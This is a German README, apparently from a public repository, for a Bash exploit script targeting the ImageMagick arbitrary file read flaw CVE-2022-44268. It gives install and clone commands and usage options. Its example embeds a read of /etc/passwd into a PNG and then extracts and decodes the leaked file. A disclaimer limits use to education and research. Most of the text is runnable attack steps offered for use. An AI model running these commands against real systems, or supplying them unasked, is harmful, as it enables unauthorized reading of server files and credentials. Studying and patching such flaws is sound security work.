
Ein Bash-Skript zur einfachen Ausnutzung der ImageMagick-Sicherheitslücke „Arbitrary File Read" (CVE-2022-44268)
Ein Bash-Skript zum einfachen Ausnutzen der ImageMagick-Sicherheitslücke CVE-2022-44268 (Arbitrary File Read – Lesen beliebiger Dateien)
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
Copyright: (C) 1999-2021 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC Modules OpenMP(4.5)
Delegates (built-in): bzlib djvu fftw fontconfig freetype heic jbig jng jp2 jpeg lcms lqr ltdl lzma openexr pangocairo png tiff webp wmf x xml zlib
sudo apt-get install imagemagick exiftool pngcrush exiv2 -y
git clone https://github.com/atici/Exploit-for-ImageMagick-CVE-2022-44268.git
cd Exploit-for-ImageMagick-CVE-2022-44268
chmod 750 script.sh
./script.sh -p [Path to Read] [PNG Image] [Output[Optional, if not used defaults to pngout.png]]
./script.sh -d [PNG]
Examples
./script.sh -p /etc/passwd sample.png output.png
./script.sh -d pngout.png
Options
-h = Show help
-p = Add the exploit to a PNG image
-d = Extract and decode the read file
Der gesamte Code in diesem Repository dient ausschließlich zu Bildungs- und Forschungszwecken. Alle Handlungen und/oder Aktivitäten im Zusammenhang mit dem in diesem Repository enthaltenen Material liegen in Ihrer alleinigen Verantwortung. Der Missbrauch des Codes in diesem Repository kann zu strafrechtlichen Anklagen gegen die betreffenden Personen führen. Der Autor übernimmt keine Haftung, falls gegen Personen, die den Code in diesem Repository missbrauchen, um das Gesetz zu brechen, strafrechtliche Anklagen erhoben werden.